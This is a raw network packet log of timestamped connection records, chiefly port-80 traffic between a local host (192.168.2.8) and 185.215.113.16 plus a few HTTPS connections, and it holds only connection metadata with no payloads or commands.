Nov 23, 2024 21:15:42.338434935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.339132071 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.339221954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.339286089 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.339432955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.339524984 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.340173960 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.340308905 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.340562105 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.341152906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.341442108 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.341459036 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.342116117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.342402935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.343059063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.343506098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.344062090 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.344068050 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.344950914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.345202923 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.346005917 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.346319914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.346874952 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.347362995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.347882032 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.347927094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.348858118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.349230051 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.349705935 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.349705935 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.349833965 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.349877119 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.349977970 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.350455999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.350583076 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.350776911 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.350943089 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.350956917 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.350996017 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.351672888 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.351840973 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.352695942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.352703094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.352724075 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.353108883 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.353585005 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.353787899 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.353883982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.354104042 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.354661942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.354760885 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.354840994 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.355607986 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.355654955 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.355783939 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.355859995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.355917931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.356483936 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.356524944 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.356585979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.356790066 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.357439995 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.357544899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.358377934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.358475924 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.359069109 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.359318018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.360311985 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.360318899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.360331059 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.360552073 CET	49775	80	192.168.2.8	34.107.221.82
Nov 23, 2024 21:15:42.360932112 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.361257076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.361339092 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.361521006 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.361826897 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.362200975 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.362306118 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.362452984 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.362659931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.363188028 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.363457918 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.363574982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.364123106 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.364240885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.364329100 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.364376068 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.364403009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.365067005 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.365075111 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.365326881 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.366051912 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.366060019 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.366247892 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.366982937 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.367156982 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.367969990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.367976904 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.368910074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.369230986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.369838953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.370003939 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.378606081 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.389312029 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.413830996 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:42.413866997 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:42.414509058 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:42.415344000 CET	49776	443	192.168.2.8	2.23.161.164
Nov 23, 2024 21:15:42.415358067 CET	443	49776	2.23.161.164	192.168.2.8
Nov 23, 2024 21:15:42.490901947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.491004944 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.491353035 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.491770029 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.492341042 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.492563009 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.493248940 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.496299982 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.524832010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.524946928 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.525104046 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.525202036 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.525491953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.525556087 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.525691986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.526221991 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.526469946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.526540041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.526648045 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.526741028 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.526869059 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.527332067 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.527395010 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.527652979 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.527797937 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.528218031 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.528304100 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.528547049 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.528639078 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.529277086 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.529341936 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.529479980 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.529577017 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.530046940 CET	80	49775	34.107.221.82	192.168.2.8
Nov 23, 2024 21:15:42.530132055 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.530143976 CET	49775	80	192.168.2.8	34.107.221.82
Nov 23, 2024 21:15:42.530147076 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.530302048 CET	49775	80	192.168.2.8	34.107.221.82
Nov 23, 2024 21:15:42.530397892 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.531119108 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.531337023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.531681061 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.531857014 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.532058954 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.532258987 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.532918930 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.532957077 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.533241034 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.533308029 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.533559084 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.533883095 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.534008026 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.534135103 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.534169912 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.534297943 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.534910917 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.534940004 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.535053015 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.535832882 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.535875082 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.536699057 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.536880970 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.536955118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.536993027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.537235022 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.537977934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.538136959 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.538666010 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.538825989 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.538837910 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.538877010 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.539060116 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.539729118 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.539835930 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.540111065 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.540725946 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.540899992 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.540906906 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.540940046 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.541194916 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.541587114 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.541713953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.541965008 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.542592049 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.542640924 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.542727947 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.542798042 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.543572903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.543620110 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.544044018 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.544491053 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.544630051 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.545468092 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.545533895 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.545558929 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.546402931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.546406031 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.546547890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.547305107 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.547380924 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.547491074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.547494888 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.547754049 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.548326969 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.548413038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.548517942 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.549292088 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.549392939 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.549427986 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.549541950 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.550231934 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.550478935 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.551207066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.551234961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.552151918 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.552263021 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.553112984 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.553316116 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.554070950 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.554430008 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.555020094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.555057049 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.556160927 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.556190968 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.556926966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.556984901 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.557885885 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.558032990 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.558439970 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.558871031 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.559041023 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.559151888 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.559359074 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.559801102 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.559995890 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.560607910 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.560772896 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.560959101 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.560997963 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.561470985 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.561695099 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.561999083 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.562546968 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.562674046 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.562752008 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.563095093 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.563221931 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.563652039 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.563977003 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.564697027 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.564780951 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.565557957 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.565669060 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.566510916 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.567028999 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.567466974 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.567711115 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.568411112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.568572044 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.569384098 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.569991112 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.570358038 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.570511103 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.571326971 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.571331978 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.574404955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.574404955 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.574606895 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.605278015 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:42.605317116 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:42.605613947 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:42.605613947 CET	49777	443	192.168.2.8	35.244.181.201
Nov 23, 2024 21:15:42.605644941 CET	443	49777	35.244.181.201	192.168.2.8
Nov 23, 2024 21:15:42.619782925 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.624779940 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.624816895 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.625349045 CET	49767	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.625370026 CET	443	49767	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.652365923 CET	80	49775	34.107.221.82	192.168.2.8
Nov 23, 2024 21:15:42.654798031 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.655318975 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.655347109 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.655883074 CET	49770	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.655890942 CET	443	49770	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.692246914 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.692357063 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.692393064 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.692471027 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.692797899 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.692806005 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.692830086 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.692867041 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.693372011 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.693394899 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.693671942 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.693800926 CET	49768	443	192.168.2.8	13.107.246.63
Nov 23, 2024 21:15:42.693825006 CET	443	49768	13.107.246.63	192.168.2.8
Nov 23, 2024 21:15:42.693876982 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.693888903 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.694216967 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.694606066 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.694705009 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.726094007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.726161957 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.726413012 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.726418018 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.726449966 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.726480007 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.726602077 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.727345943 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.727463961 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.728328943 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.728497028 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.729080915 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.729269981 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.729526043 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.730237007 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.730555058 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.731074095 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.731179953 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.731455088 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.731460094 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.731751919 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.732144117 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.732287884 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.732717991 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.732777119 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.733119965 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.733128071 CET	80	49750	185.215.113.16	192.168.2.8
Nov 23, 2024 21:15:42.733234882 CET	49750	80	192.168.2.8	185.215.113.16
Nov 23, 2024 21:15:42.734040976 CET	80	49750	185.215.113.16	192.168.2.8
